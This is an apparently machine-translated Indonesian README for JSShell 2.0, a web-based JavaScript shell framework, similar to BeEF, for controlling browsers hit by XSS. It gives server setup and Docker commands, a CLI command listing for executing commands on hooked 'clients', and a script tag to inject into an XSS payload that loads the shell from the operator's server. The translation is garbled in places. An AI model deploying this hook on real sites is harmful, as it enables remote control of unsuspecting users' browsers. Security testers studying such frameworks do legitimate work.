Shell JavaScript berbasis web multi-pengguna interaktif. Awalnya dibuat untuk men -debug browser esoteris jarak jauh selama percobaan dan penelitian. Alat ini dapat dengan mudah dilampirkan ke payload XSS (Cross Site Scripting) untuk mencapai eksekusi kode jarak jauh browser (mirip dengan kerangka kerja daging sapi).
Versi 2.0 dibuat sepenuhnya dari awal, memperkenalkan fitur baru yang menarik, stabilitas, dan pemeliharaan.
Daniel Abeles.
<script> Di direktori resources , perbarui file config.json dengan konfigurasi yang Anda inginkan:
docker , pilih host database sebagai db (yang merupakan nama host internal).shell.js melakukan beberapa panggilan AJAX untuk mendaftar dan polling untuk perintah baru. Biasanya itu akan menjadi http[s]://{YOUR_SERVER_IP}:{PORT} . Sekarang JSShell mendukung TLS, yang berarti Anda sekarang dapat menghasilkan sertifikat TLS dan memberinya makan ke server web. Server web akan menyimpulkan nama domain dari file config.json . Untuk membuat sertifikat, gunakan skrip create_cert.py di folder scripts :
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > Harap dicatat bahwa server web harus turun agar skrip berfungsi dengan baik. Pada titik ini, kami telah berhasil menghasilkan sertifikat kami! Satu -satunya modifikasi yang perlu kita lakukan adalah:
config.json , ubah skema bidang URL menjadi https .docker-compose.yml Ubah port yang terbuka dari wadah web ke 443 . Versi baru ini mendukung menginstal dan menjalankan JSShell melalui docker dan docker-compose . Sekarang, untuk menginstal dan menjalankan seluruh kerangka kerja jsshell, cukup jalankan:
$ ./scripts/start_docker_shell.shIni akan:
JSShell Jika Anda masih ingin menggunakan metode fashion lama untuk menginstal, cukup pastikan Anda memiliki database MongoDB yang berjalan dan berjalan, dan perbarui file config.json yang berada di direktori resources .
Saya sarankan menggunakan lingkungan virtual dengan pyenv :
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv Atau menggunakan virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activateKemudian, pasang persyaratan:
$ pip install -r requirements.txt Jika Anda menggunakan metode docker , tidak perlu menjalankan prosedur berikut.
Kalau tidak, begitu kami memiliki pengaturan database, kami perlu memulai server API web. Untuk dilakukan, jalankan:
$ python manage.py webIni akan membuat dan menjalankan server web yang mendengarkan koneksi yang masuk dan melayani kode JSShell kami.
Sekarang untuk memulai jsshell cli, jalankan skrip yang sama tetapi sekarang dengan bendera shell :
$ python manage.py shell Setelah mengatur dan menjalankan komponen yang diperlukan, masukkan perintah help untuk melihat perintah yang tersedia:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
Jsshell mendukung 2 metode operasi:
Mirip dengan kerangka kerja kontrol XSS lainnya (seperti daging sapi), JSShell mampu mengelola eksploitasi XSS yang sukses. Dalam contoh, jika Anda dapat menyuntikkan tag script , menyuntikkan sumber daya berikut ke muatan Anda, dan klien baru akan muncul di konsol Anda:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Jika Anda ingin men -debug browser eksotis dan esoterik, Anda dapat dengan mudah menavigasi ke http[s]://{YOUR_SERVER_IP}:{PORT}/ dan klien baru akan muncul ke klien jsshell CLI Anda. Sekarang dapat debuggable melalui konsol JSShell kami.
Canop untuk json.prune